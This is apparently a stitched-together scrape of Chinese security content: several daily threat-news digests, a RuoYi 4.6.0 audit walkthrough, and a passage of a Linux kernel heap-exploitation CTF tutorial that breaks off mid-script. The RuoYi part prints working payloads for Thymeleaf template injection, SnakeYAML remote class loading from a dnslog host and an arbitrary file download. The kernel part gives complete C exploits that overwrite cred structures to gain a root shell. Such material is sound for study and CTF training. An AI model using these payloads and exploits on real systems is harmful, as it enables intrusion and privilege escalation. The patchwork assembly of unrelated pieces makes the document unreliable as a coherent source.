1、恶意npm软件包窃取以太坊私钥并植入SSH后门 https://blog.phylum.io/trojanized-ethers-forks-on-npm-attempting-to-steal-ethereum-private-keys/ 研究人员发现了一系列发布在npm注册表中的恶意软件包，这些软件包旨在窃取开发者的以太坊私钥，并通过SSH协议远程访问受害者机器。据研究人员的分析，这些恶意包会通过将攻击者的SSH公钥写入根用户的“authorized_keys”文件，从而获取SSH访问权限。这些恶意软件包模仿了合法的ethers库，包括ethers-mew、ethers-web3等，最新且最完整的为ethers-mew。与此前类似攻击 2、攻击者利用Docker API服务器进行SRBMiner挖矿攻击 https://www.trendmicro.com/en_us/research/24/j/using-grpc-http-2-for-cryptominer-deployment.html 根据研究人员的最新发现，网络犯罪分子正在利用Docker远程API服务器，部署SRBMiner加密挖矿程序来非法挖掘XRP加密货币。攻击者通过gRPC协议和h2c协议升级绕过安全措施，远程操控Docker主机。他们首先检查Docker API的可用性和版本，然后使用gRPC方法操控Docker环境，创建容器并执行加密挖矿操作。此外，攻击者还利用公开暴露的Docker API服务器部署perfctl恶意 3、Polyfill供应链攻击与大规模赌博网站网络存在关联 https://www.silentpush.com/blog/triad-nexus-funnull/ 研究人员发现，2024年发生的一次大型数字供应链攻击源于一家名为FUNNULL的小公司。该公司接管了Polyfill.io，一个为旧浏览器提供新功能的开源JavaScript库，并利用其访问权向成千上万的网站注入恶意软件，重定向用户至一个庞大的赌博网站网络。研究人员的报告表明，FUNNULL通过Polyfill.io将访客转向约4万个自动生成的赌博网站，这些网站多为仿冒著名赌场品牌，如威尼斯人、Bet365等。研究还表明，该网络可能是为了进行资金洗钱操作，相关开发者的GitHub账户和T 4、Win Server WinReg漏洞可被利用进行NTLM中继攻击 https://www.akamai.com/blog/security-research/winreg-relay-vulnerability 研究人员公开了CVE-2024-43532漏洞的概念验证代码，该漏洞利用了Windows注册表客户端的身份验证降级机制，允许攻击者通过NTLM中继攻击接管Windows域。该漏洞影响Windows Server 2008至2022版本，以及Windows 10和11操作系统。当SMB传输不可用时，WinReg客户端会回退到旧协议，使用较弱的身份验证级别，攻击者可通过此漏洞获取域用户证书并创建管理员账户。微软已于2024年7月发布修复补丁，研究人员建 5、攻击者正滥用Gophish传播远程访问木马程序 https://www.freebuf.com/news/413485.html 名为Gophish 的开源网络钓鱼工具包正被攻击者用来制作DarkCrystal RAT（又名 DCRat）和PowerRAT 远程访问木马，目标针对俄国用户。 6、三星设备曝出高危零日漏洞，已被小范围利用 https://www.freebuf.com/news/413479.html 谷歌威胁分析小组（TAG）警告称，三星存在一个零日漏洞，被追踪为 CVE-2024-44068（CVSS 得分为 8.1），且该漏洞已被发现存在被利用的情况。 7、高通64款芯片存在0Day漏洞 https://www.freebuf.com/news/413449.html 近日，高通公司发布了一项重要的安全警告，揭示了其多达64款芯片组存在严重的“0Day漏洞”。这一漏洞被标识为CVE-2024-43047，影响广泛，波及多个搭载骁龙芯片的Android智能手机和平板电脑、物联网设备等多个领域。 8、K8s曝9.8分漏洞，黑客可获得Root访问权限 https://www.freebuf.com/news/413438.html 近日，安全研究人员Nicolai Rybnikar 发现Kubernetes镜像构建器中存在严重安全漏洞（CVE-2024-9486 ，CVSS ：9.8），攻击者可在特定情况下获得Root级访问权限，从而导致系统出现问题。 9、Meta 重启面部识别技术，打击“假名人”诈骗 https://www.ithome.com/0/804/079.htm 据路透社报道，当地时间 22日，在因隐私和监管压力于三年前关闭 Facebook 的面部识别功能后，Meta 目前宣布正在重新测试该服务，以打击“名人诱饵”诈骗。 10、分析显示，没有一个大型 AI 模型符合欧盟监管标准 https://cybernews.com/ai-models-eu-regulatory-standards/ 根据一项新的研究，在 12 个领先的大型语言模型中，OpenAI 的 GPT-4 Turbo 最接近满足欧盟的人工智能规则，但仍未完全合规。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

环境布置： 到官网下载源码：https://github.com/yangzongzhuan/RuoYi 采用phpstudy集成数据库，5.7版本。JDK1.8。 IDEA打开项目，等待自动加载，修改application-druid.yml配置文件：数据库名，账号密码，连接数据库，修改application.yml中的端口，避免与80端口冲突。 导入：quartz.sql与ry_20201214.sql文件。 运行RuoYiApplication文件。 访问后台：http://localhost:25001/login Sql注入漏洞： 由于该项目采用了mybatis开发，常见的找sql注入的方法就是全局搜索${ 定位到可疑参数： 根据id值selectRoleList全局搜索，从xml定位到dao层： 右键单击，找该接口的使用，在使用处发现selectRoleList方法，全局搜索该方法，定位controller层查看接口与传参： 如下，定位到controller层： 分析代码：首先以@RequiresPermissions注解表明接口访问权限，再以@PostMapping注解表明接收接口，并且以@ResponseBody注解表明回将返回值写入http响应。 此方法会接收一个SysRole类型的role值，并且将接受的role值以selectRoleList方法处理后返回给list，最后返回给http响应。 于是我们现在需要分析 1：role对象在接收它的参数时是否有过滤， 2：selectRoleList方法在处理role接收后的值是否有过滤。 跟进SysRole类，发现无过滤： 跟进selectRoleList方法，发现无过滤： 于是确定原dataScope参数存在sql注入，到前端功能找对应数据包。 发现不存在dataScope参数,手动添加： 将localhost换成主机IP，放入sqlmap验证 Shiro反序列化： 首先查看项目pom文件，发现shiro版本为1.7.0： 全局搜索cipherKey，定位到密钥值： 由此结合shiro反序列化利用工具利用。 Shiro未授权访问： 查看shiro配置文件ShiroConfig.java，anon为匿名拦截器，不需要登录就能访问。authc为登录拦截器，需要登录认证才能访问。 Thymeleaf模板注入： 本框架采用了 Thymeleaf 模板，全局搜索:: 根据Mapping构造路径，发送poc fragment=__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x 计划任务RCE: 如图添加计划任务 将调用目标字符修改如下： org.yaml.snakeyaml.Yaml.load(\'!!javax.script.ScriptEngineManager \[!!java.net.URLClassLoader \[\[!!java.net.URL \[\"http://w2h0ib.dnslog.cn\"\]\]\]\]\') 调用执行： dnslog出现响应： 任意文件下载漏洞： 继续如上创建定时任务： ruoYiConfig.setProfile(\'/home/clown/Project/RuoYi-v4.6.0/ruoyi-admin/src/main/resources/application.yml\') 执行后访问如下路径实现文件下载： /common/download/resource?resource=.zip 跟踪下载路径定位代码： 该处代码先接收resource的值，再将该值放入checkAllowDownload方法里面校验后，进入下载文件的代码调用。 于是跟进checkAllowDownload方法： 发现该方法主要做了两件事： 1：禁止掉resource中的目录穿越../ 2：以白名单形式检查文件下载规则 这里主要跟进一下2的代码： 取点后缀： 再以点后缀进行白名单匹配： 如果在原controller层if判断为假，进入下载文件代码流程： 至此可发现下载文件的路径不可控，且类型存在白名单限制！ 此时我们继续跟进本地资源路径的代码： 我们可以发现本地资源路径是通过getProfile进行获取，且该RuoYiConfig类存在setProfile方法，由此可知，可以通过计划任务调用该类的setProfile方法设置好路径，直接绕过了前面的if过滤： 之后即可调用/common/download/resource接口任意下载文件。

1、Bumblebee恶意软件在最近的执法行动后卷土重来 https://www.netskope.com/blog/new-bumblebee-loader-infection-chain-signals-possible-resurgence Bumblebee恶意软件在遭受欧洲刑警组织“终局行动”打击四个月后再次出现在网络攻击中。Bumblebee由TrickBot开发者创建，2022年作为BazarLoader后门的替代品出现，为勒索软件攻击者提供访问网络的入口。最新攻击链通过钓鱼邮件诱导受害者下载伪装成NVIDIA驱动或Midjourney安装程序的恶意ZIP文件，并利用PowerShell执行恶意软件。尽管攻击规模尚不明确，但Bumbl 2、CISA紧急添加ScienceLogic SL1漏洞至已被利用漏洞目录 https://thehackernews.com/2024/10/cisa-adds-sciencelogic-sl1.html 美国网络安全与基础设施安全局（CISA）于10月22日将ScienceLogic SL1平台的一个严重漏洞（CVE-2024-9537）添加至已被利用漏洞目录。此漏洞为零日攻击的目标，CVSS评分为9.3，涉及一个第三方组件的安全缺陷，可能导致远程代码执行。目前，该问题已在多个版本中修复。此前，云托管服务提供商Rackspace也因该漏洞导致其内部监控服务器遭到未授权访问。Rackspace确认，该漏洞已影响其性能报告系统，并通知受影响的客户。根据联邦规定，FC 3、信息窃取软件泛滥致网络犯罪频发 https://securelist.com/kral-amos-vidar-acr-stealers/114237/ 据研究人员的报告，2023年近千万台设备受信息窃取软件攻击，实际数字可能更高。这些窃取软件通过钓鱼邮件、恶意广告等方式传播，目标包括加密货币钱包和浏览器数据。Kral、AMOS等多种窃取软件被广泛使用，前者通过虚假广告诱导用户下载恶意文件，后者则通过伪装成合法软件侵入macOS系统。此外，Vidar与ACR这类窃取工具通过复杂的分阶段攻击获取用户数据，并以此进行进一步的网络犯罪活动。专家建议启用双因素认证，谨慎下载软件以应对此类攻击。 4、多款云存储平台存在安全漏洞，影响超2200万用户 https://www.freebuf.com/news/413364.html 据苏黎世联邦理工学院研究人员Jonas Hofmann和Kien Tuong Turong的发现，端到端加密（E2EE）云存储平台存在一系列安全问题，可能会使用户数据暴露给恶意行为者。在通过密码学分析后，研究人员揭示了Sync、pCloud、Icedrive、Seafile和Tresorit服务的问题，这些服务共同被超过2200万人使用。 5、Fortinet 发布未公开的 FortiManager 严重漏洞补丁 https://www.anquanke.com/post/id/301126 尽管建议的缓解措施可能表明问题存在于 “Fortigate to FortiManager”（fgfm）连接/通信/管理功能中，但该公司尚未公开披露与此漏洞相关的详细信息或 CVE。 6、ESET合作公司遭入侵，向以色列发送数据擦除程序 https://www.bleepingcomputer.com/news/security/eset-partner-breached-to-send-data-wipers-to-israeli-orgs/ 据观察，这一钓鱼活动从10月8日开始，这些邮件带有ESET 徽标且从合法的 eset.co.il 域发送，表明以色列分部的电子邮件服务器在攻击中遭到破坏，ESET 告诉 BleepingComputer，他们位于以色列的分销商由Comsecure 运营。 7、涉案金额达 1 亿元，四川公安打掉刷单控评“网络水军”团伙 https://www.ithome.com/0/803/385.htm 今年 3 月，内江市中区公安网警在工作中发现一款名为“某某战队”的微信小程序，打着“99 看播”“躺赚”等噱头，招募全国各地人员充当“网络水军”从事网络虚假刷单行为。 8、美国保险巨头遭数据勒索攻击，影响大量客户个人信息 https://www.secrss.com/articles/71364 尽管此次事件未对公司的运营造成重大影响，Globe Life仍对可能被窃取的数据表示担忧，因为这一事件有可能波及数百万人。 9、新加坡网络安全局发布《AI系统安全指南》 https://www.secrss.com/articles/71410 继新加坡在2024年5月30日发布的《生成式人工智能的治理框架》，2024年9月 23日新加坡最高人民法院发布《关于法院用户使用生成式人工智能工具指南》之后，新加坡又双叒叕发布和AI安全有关的指南。 10、马斯克：允许第三方使用X平台用户数据训练AI https://www.freebuf.com/news/413349.html 社交媒体平台X（原Twitter）于2024年10月16日更新其隐私政策，宣布将允许第三方合作伙伴使用X平台上的用户数据来训练人工智能模型，除非用户选择退出。这一政策变动表明，X正在效仿Reddit和其他媒体机构，寻求通过向AI公司授权数据来获取新的收入来源。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、美日军事演习引发俄罗斯对日本的DDoS攻击 https://www.asahi.com/ajw/articles/15469220 由于日本与美国计划于2024年10月23日至11月1日进行联合军事演习“利剑25号”，俄方黑客组织在本周对日本多个网站发起了分布式拒绝服务（DDoS）攻击。此次攻击针对日本执政党、自民党、制造企业、商业团体和地方政府，导致部分网站瘫痪数小时。山梨县政府网站遭到来自69个国家的620万次访问，瘫痪近五小时。自称“NoName057(16)”的黑客团体声称对攻击负责，表示此举是对日本“反俄行动”的惩罚。分析显示，攻击主要来源于知名网络和VPN，目标包括船舶制造和物流公司、政府及政治组织。 2、数千万用户使用的E2EE云存储平台发现严重漏洞 https://brokencloudstorage.info/ 瑞士苏黎世联邦理工学院的研究人员发现多个端到端加密（E2EE）云存储平台存在严重安全漏洞，可能使用户数据面临泄露风险。受影响的平台包括Sync、pCloud、Icedrive、Seafile和Tresorit，用户总数超过2200万。漏洞允许攻击者通过恶意服务器注入文件、篡改数据或获取用户文件，违背了这些平台对客户的加密保障承诺。尤其是Sync和pCloud的加密密钥未经认证，Icedrive和Seafile的文件篡改防护薄弱。尽管Tresorit的问题较少，但研究表明其元数据仍有被篡改的可能。多数供应商正在修复这些漏洞，但I 3、黑客利用Roundcube Webmail XSS漏洞窃取登录凭证 https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/fake-attachment-roundcube-mail-server-attacks-exploit-cve-2024-37383-vulnerability 黑客正在利用开源Roundcube Webmail软件中的一个已修复的存储型跨站脚本（XSS）漏洞，发起钓鱼攻击以窃取用户登录凭据。该漏洞编号为CVE-2024-37383，影响Roundcube的1.5.7和1.6.7版本之前的版本。攻击者通过发送特制邮件，嵌入恶意JavaScript代码，在用 4、The Internet Archive再次因访问令牌被盗而遭入侵 https://www.bleepingcomputer.com/news/security/internet-archive-breached-again-through-stolen-access-tokens/ The Internet Archive再次被黑客入侵，这次黑客通过Zendesk电子邮件支持平台的窃取访问令牌发动攻击。尽管多次警告其GitLab认证令牌被曝光，该组织未能及时更新其API密钥，导致黑客获得对80多万条支持票据的访问权限。这些票据中包含用户请求删除信息的敏感数据，甚至可能包括个人身份信息。此次攻击发生在此前Internet Archive的3300万用户数据泄 5、科技巨头Nidec确认勒索软件攻击后数据泄露 https://www.nidec.com/jp/nidec-precision/corporate/news/2024%E5%B9%B4/20241017_%20incident_2/ 全球知名精密马达制造商Nidec Corporation证实，黑客通过勒索软件攻击窃取了数据，并在暗网泄露。此次攻击未加密文件，但黑客通过泄露数据进行敲诈。Nidec Precision 分部的服务器在遭入侵后，黑客窃取了超过50000份文件，涉及内部文档、业务伙伴信件、采购合同和健康安全政策等。尽管公司未支付赎金，数据泄露仍可能导致员工和合作伙伴面临定向网络钓鱼等后续威胁。8BASE 和Everest勒索 6、朝鲜黑客伪装IT求职者窃取数据后勒索雇主 https://www.secureworks.com/blog/fraudulent-north-korean-it-worker-schemes 朝鲜IT工人通过伪装身份进入西方企业工作，窃取机密数据并威胁泄露以勒索巨额赎金。据研究人员的调查，朝鲜长期通过这种手段获取企业网络的访问权限，进而为其武器项目筹资。最近的研究表明，这些工人不仅盗取数据，还通过虚假身份和技术手段隐匿行踪，避开视频会议的面部识别。某些案例中，黑客利用企业的虚拟桌面基础设施（VDI）将数据转移到个人云存储，并使用VPN和远程访问工具如AnyDesk进行恶意活动。企业需谨慎筛选远程员工，防范潜在风险。 7、新的macOS漏洞允许攻击者绕过安全控制 https://cybersecuritynews.com/macos-vulnerability-bypass-security-controls/ 微软威胁情报发现，macOS出现了一个名为“HM Surf”的新漏洞，能允许攻击者绕过操作系统的透明、同意和控制（TCC）技术，在未经授权的情况下访问用户受保护的数据。 8、东盟成立区域级CERT应对AI时代的网络威胁 https://www.secrss.com/articles/71397 10月16日，第九届东盟网络安全部长级会议（AMCC）及系列会议在新加坡举行，会议汇集了东盟10个成员国的电信和网络安全部长。 9、《电力交易数据安全分类分级管理规范》等3项团体标准公开征求意见 https://www.ttbz.org.cn/Home/Show/75259/ 《电力交易数据安全分类分级管理规范》、《电子银行安全评估过程实施指南》和《个人信息保护合规管理实施指南》三项团体标准已完成征求意见稿，现公开征求意见。 10、Mirai变种大猩猩僵尸网络攻击了100个国家的30多万个目标 https://www.anquanke.com/post/id/301079 据网络安全公司 NSFOCUS 称，一个新的大猩猩僵尸网络发起了大规模 DDoS 攻击，目标遍及 100 多个国家。该僵尸网络利用 Mirai 僵尸网络源代码和先进技术，构成了日益严重的全球性威胁。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、Cicada3301勒索软件运营曝光推出新合作计划 https://www.group-ib.com/blog/cicada3301/ 网络安全研究人员深入了解了新兴的勒索软件即服务（RaaS）平台Cicada3301的运营模式。研究表明，Cicada3301通过在暗网上的Affiliate面板管理其合作伙伴，并招募渗透测试员和访问经纪人，提供20%的佣金。该勒索软件基于Rust语言，支持Windows、Linux等多个平台，允许合作伙伴对多个行业的目标进行攻击。Cicada3301不仅加密文件，还通过关闭虚拟机和删除系统恢复点来最大化破坏力。其复杂的工具和数据窃取策略使其迅速成为勒索软件领域的重大威胁。 2、芬兰海关捣毁暗网毒品市场Sipulitie并查封服务器 https://tulli.fi/-/suomen-tulli-sulki-salatussa-tor-verkossa-toimineen-sipulitie-kauppapaikan 芬兰海关在欧盟刑警组织、瑞典及波兰执法机构和Bitdefender研究人员的协助下，成功关闭了自2023年运营的Tor暗网市场Sipulitie，并查封了其服务器。Sipulitie主要用于匿名贩卖毒品，月营业额高达130万欧元。此次行动还识别出平台的主要运营者和用户，并计划进行逮捕。Sipulitie是此前被取缔的Sipulimarket的继任者，调查仍在进行，更多细节有望在未来几个月公布。 3、微软披露macOS Safari隐私漏洞或被用于绕过用户权限 https://www.microsoft.com/en-us/security/blog/2024/10/17/new-macos-vulnerability-hm-surf-could-lead-to-unauthorized-data-access/ 微软公开了一项已修补的macOS漏洞（CVE-2024-44133），可能被用于绕过Safari浏览器的隐私控制并访问用户数据。该漏洞被微软称为“HM Surf”，通过修改Safari目录中的配置文件，攻击者可未经用户同意访问摄像头、麦克风和定位信息。虽然苹果已在macOS Sequoia 15中移除了易受攻击的代码，但微软发现这一漏洞可 4、Crypt Ghouls组织利用共享工具发起对俄攻击 https://securelist.com/crypt-ghouls-hacktivists-tools-overlap-analysis/114217/ 据研究人员最新报告，“Crypt Ghouls”组织自去年12月起，持续对俄罗斯企业和政府机构发起勒索软件攻击。调查显示，该组织与其他攻击俄罗斯的黑客团伙存在工具、基础设施以及战术技术重叠，使用的工具包括Mimikatz、PingCastle、AnyDesk等，以及广为流行的勒索软件LockBit 3.0和Babuk。攻击者常通过入侵分包商的账户实施攻击，这使得精准识别幕后黑手更加复杂化。由于黑客组织之间共享工具和基础设施，识别具体攻击 5、ClickFix活动假冒Google Meet网页传播信息窃取器 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/#h-context 近日，假冒的Google Meet网页成为网络犯罪分子在“ClickFix”恶意软件活动中的新工具，目标为Windows和macOS系统。攻击者通过伪造的网页显示错误信息，诱骗用户复制并执行恶意的PowerShell代码，最终感染设备。研究人员报告指出，ClickFix活动广泛利用假冒网站，如Google Meet、Zoom等，部署StealC和Rhadamanthys窃取器，macOS用户则遭受Atomic窃取器攻击。这一手法通过用户手动执行代码来绕过安全工 6、朝鲜IT工人伪装求职窃取数据后勒索雇主 https://www.secureworks.com/blog/fraudulent-north-korean-it-worker-schemes 朝鲜IT工人通过伪装身份进入西方企业工作，窃取机密数据并威胁泄露以勒索巨额赎金。据研究人员的调查，朝鲜长期通过这种手段获取企业网络的访问权限，进而为其武器项目筹资。最近的研究表明，这些工人不仅盗取数据，还通过虚假身份和技术手段隐匿行踪，避开视频会议的面部识别。某些案例中，黑客利用企业的虚拟桌面基础设施（VDI）将数据转移到个人云存储，并使用VPN和远程访问工具如AnyDesk进行恶意活动。企业需谨慎筛选远程员工，防范潜在风险。 7、Intel与AMD处理器曝出新Spectre绕过漏洞影响Linux系统 https://www.bleepingcomputer.com/news/security/intel-amd-cpus-on-linux-impacted-by-newly-disclosed-spectre-bypass/ 最新的Intel处理器（包括Xeon服务器芯片）以及AMD的早期架构在Linux系统上曝出新的推测执行攻击，绕过了现有的Spectre防护。受影响的处理器包括Intel的第12至14代消费级处理器及第5、6代Xeon服务器芯片，以及AMD的Zen 1、Zen 1+、Zen 2架构处理器。瑞士联邦理工学院（ETH Zurich）的研究人员发现，该漏洞可以绕过关键防御机 8、美国摧毁Anonymous Sudan DDoS攻击行动 https://www.bleepingcomputer.com/news/security/us-disrupts-anonymous-sudan-ddos-operation-indicts-2-sudanese-brothers/ 美国司法部今日对两名苏丹兄弟Ahmed Salah Yousif Omer（22岁）和Alaa Salah Yusuuf Omer（27岁）提出起诉，指控他们为黑客组织Anonymous Sudan的操控者。该组织自2023年成立以来，发起了超过35000次的分布式拒绝服务（DDoS）攻击，造成全球范围内服务中断，影响了包括Cloudflare、Micros 9、黑客盗取客户数据后勒索Globe Life https://www.sec.gov/Archives/edgar/data/320335/000032033524000056/gl-20241017.htm 保险巨头Globe Life报告称，未知黑客组织试图勒索该公司，以换取不公开其今年早些时候被盗的客户数据。Globe Life在6月13日披露数据泄露事件，称其网络门户在审查访问权限和用户身份管理时发现了漏洞，可能导致消费者和保单持有者数据被访问。最新的SEC文件显示，受影响的客户主要来自其子公司American Income Life Insurance Company，初步估计至少有5000名客户的数据被盗。盗取的数据类型包括 10、苹果缩短网站安全证书有效期提案遭部分站长反对 https://stock.10jqka.com.cn/20241016/c662468504.shtml 苹果缩短网站安全证书有效期从 398 天到 45 天的提议，引起了部分站长和系统管理员的公开反对。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

前言 本文还是用一道例题来讲解几种内核堆利用方法，内核堆利用手段比较多，可能会分三期左右写。进行内核堆利用前，可以先了解一下内核堆的基本概念，当然更好去找一些详细的内核堆的基础知识。 概述 Linux kernel 将内存分为 页（page）→区（zone）→节点（node） 三级结构，主要有两个内存管理器—— buddy system 与 slub allocator，前者负责以内存页为粒度管理所有可用的物理内存，后者则以slab分配器为基础向前者请求内存页并划分为多个较小的对象（object）以进行细粒度的内存管理。 budy system buddy system 以 page 为粒度管理着所有的物理内存，在每个 zone 结构体中都有一个 free_area 结构体数组，用以存储 buddy system 按照 order 管理的页面: 分配： 首先会将请求的内存大小向 2 的幂次方张内存页大小对齐，之后从对应的下标取出连续内存页。 若对应下标链表为空，则会从下一个 order 中取出内存页，一分为二，装载到当前下标对应链表中，之后再返还给上层调用，若下一个 order 也为空则会继续向更高的 order 进行该请求过程。 释放： 将对应的连续内存页释放到对应的链表上。 检索是否有可以合并的内存页，若有，则进行合成，放入更高 order 的链表中。 slub allocator slub_allocator 是基于 slab_alloctor 的分配器。slab allocator 向 buddy system 请求单张或多张连续内存页后再分割成同等大小的 object 返还给上层调用者来实现更为细粒度的内存管理。 分配： 首先从 kmem_cache_cpu 上取对象，若有则直接返回。 若 kmem_cache_cpu 上的 slub 已经无空闲对象了，对应 slub 会被从 kmem_cache_cpu 上取下，并尝试从 partial 链表上取一个 slub 挂载到 kmem_cache_cpu 上，然后再取出空闲对象返回。 若 kmem_cache_node 的 partial 链表也空了，那就向 buddy system 请求分配新的内存页，划分为多个 object 之后再给到 kmem_cache_cpu，取空闲对象返回上层调用。 释放： 若被释放 object 属于 kmem_cache_cpu 的 slub，直接使用头插法插入当前 CPU slub 的 freelist。 若被释放 object 属于 kmem_cache_node 的 partial 链表上的 slub，直接使用头插法插入对应 slub 的 freelist。 若被释放 object 为 full slub，则其会成为对应 slub 的 freelist 头节点，且该 slub 会被放置到 partial 链表。 heap_bof 题目分析 题目给了源码，存在UAF和heap overflow两种漏洞。内核版本为4.4.27 #include <asm/uaccess.h> #include <linux/cdev.h> #include <linux/device.h> #include <linux/fs.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/slab.h> #include <linux/types.h> struct class *bof_class; struct cdev cdev; int bof_major = 256; char *ptr[40];// 指针数组，用于存放分配的指针 struct param {    size_t len;       // 内容长度    char *buf;        // 用户态缓冲区地址    unsigned long idx;// 表示 ptr 数组的 索引 }; long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {    struct param p_arg;    copy_from_user(&p_arg, (void *) arg, sizeof(struct param));    long retval = 0;    switch (cmd) {        case 9:            copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);            printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);            break;        case 8:            copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);            break;        case 7:            kfree(ptr[p_arg.idx]);            printk("free: 0x%p\n", ptr[p_arg.idx]);            break;        case 5:            ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);            printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);            break;        default:            retval = -1;            break;   }    return retval; } static const struct file_operations bof_fops = {       .owner = THIS_MODULE,       .unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl }; static int bof_init(void) {    //设备号    dev_t devno = MKDEV(bof_major, 0);    int result;    if (bof_major)//静态分配设备号        result = register_chrdev_region(devno, 1, "bof");    else {//动态分配设备号        result = alloc_chrdev_region(&devno, 0, 1, "bof");        bof_major = MAJOR(devno);   }    printk("bof_major /dev/bof: %d\n", bof_major);    if (result < 0) return result;    bof_class = class_create(THIS_MODULE, "bof");    device_create(bof_class, NULL, devno, NULL, "bof");    cdev_init(&cdev, &bof_fops);    cdev.owner = THIS_MODULE;    cdev_add(&cdev, devno, 1);    return 0; } static void bof_exit(void) {    cdev_del(&cdev);    device_destroy(bof_class, MKDEV(bof_major, 0));    class_destroy(bof_class);    unregister_chrdev_region(MKDEV(bof_major, 0), 1);    printk("bof exit success\n"); } MODULE_AUTHOR("exp_ttt"); MODULE_LICENSE("GPL"); module_init(bof_init); module_exit(bof_exit); boot.sh 这道题是多核多线程。并且开启了smep和smap。 #!/bin/bash qemu-system-x86_64 \  -initrd rootfs.cpio \  -kernel bzImage \  -m 512M \  -nographic \  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \  -monitor /dev/null \  -smp cores=2,threads=2 \  -cpu kvm64,+smep,+smap \ kernel Use After Free 利用思路 cred 结构体大小为 0xa8 ，根据 slub 分配机制，如果申请和释放大小为 0xa8（实际为 0xc0 ）的内存块，此时再开一个线程，则该线程的 cred 结构题正是刚才释放掉的内存块。利用 UAF 漏洞修改 cred 就可以实现提权。 exp #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <sys/wait.h> #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_EDIT 8 #define BOF_READ 9 struct param {    size_t len;       // 内容长度    char *buf;        // 用户态缓冲区地址    unsigned long idx;// 表示 ptr 数组的 索引 }; int main() {    int fd = open("dev/bof", O_RDWR);    struct param p = {0xa8, malloc(0xa8), 1};    ioctl(fd, BOF_MALLOC, &p);    ioctl(fd, BOF_FREE, &p);    int pid = fork(); // 这个线程申请的cred结构体obj即为刚才释放的obj。    if (pid < 0) {        puts("[-]fork error");        return -1;   }    if (pid == 0) {        p.buf = malloc(p.len = 0x30);        memset(p.buf, 0, p.len);        ioctl(fd, BOF_EDIT, &p); // 修改用户ID        if (getuid() == 0) {            puts("[+]root success");            system("/bin/sh");       } else {            puts("[-]root failed");       }   } else {        wait(NULL);   }    close(fd);    return 0; } 但是此种方法在较新版本 kernel 中已不可行，我们已无法直接分配到 cred_jar 中的 object，这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记，在 CONFIG_MEMCG_KMEM=y 时（默认开启）cred_jar 不会再与相同大小的 kmalloc-192 进行合并。 // kernel version == 4.4.72 void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),     0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL); } // kernel version == 4.5 void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL); } heap overflow 溢出修改 cred ，和前面 UAF 修改 cred 一样，在新版本失效。多核堆块难免会乱序，溢出之前记得多申请一些0xc0大小的obj，因为我们 freelist 中存在很多之前使用又被释放的obj导致的obj乱序。我们需要一个排列整齐的内存块用于修改。 利用思路 多申请几个0xa8大小的内存块，将原有混乱的freelist 变为地址连续的 freelist。 利用堆溢出，修改被重新申请作为cred的ptr[5]凭证区为0。 exp #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #include <sys/wait.h> struct param {    size_t len;    // 内容长度    char *buf;     // 用户态缓冲区地址    long long idx; // 表示 ptr 数组的 索引 }; const int BOF_NUM = 10; int main(void) {    int bof_fd = open("/dev/bof", O_RDWR);    if (bof_fd == -1) {        puts("[-] Failed to open bof device.");        exit(-1);   }    struct param p = {0xa8, malloc(0xa8), 0};    // 让驱动分配 0x40 个 0xa8 的内存块    for (int i = 0; i < 0x40; i++) {        ioctl(bof_fd, 5, &p);  // malloc   }    puts("[*] clear heap done");    // 让驱动分配 10 个 0xa8 的内存块    for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {        ioctl(bof_fd, 5, &p);  // malloc   }    p.idx = 5;    ioctl(bof_fd, 7, &p); // free    // 调用 fork 分配一个 cred结构体    int pid = fork();    if (pid < 0) {        puts("[-] fork error");        exit(-1);   }    // 此时 ptr[4] 和 cred相邻    // 溢出 修改 cred 实现提权    p.idx = 4, p.len = 0xc0 + 0x30;    memset(p.buf, 0, p.len);    ioctl(bof_fd, 8, &p);    if (!pid) {        //一直到egid及其之前的都变为了0，这个时候就已经会被认为是root了        size_t uid = getuid();        printf("[*] uid: %zx\n", uid);        if (!uid) {            puts("[+] root success");            // 权限修改完毕，启动一个shell，就是root的shell了            system("/bin/sh");       } else {            puts("[-] root fail");       }   } else {        wait(0);   }    return 0; } tty_struct 劫持 boot.sh 这道题gadget较少，我们就关了smep保护。 #!/bin/bash qemu-system-x86_64 \  -initrd rootfs.img \  -kernel bzImage \  -m 512M \  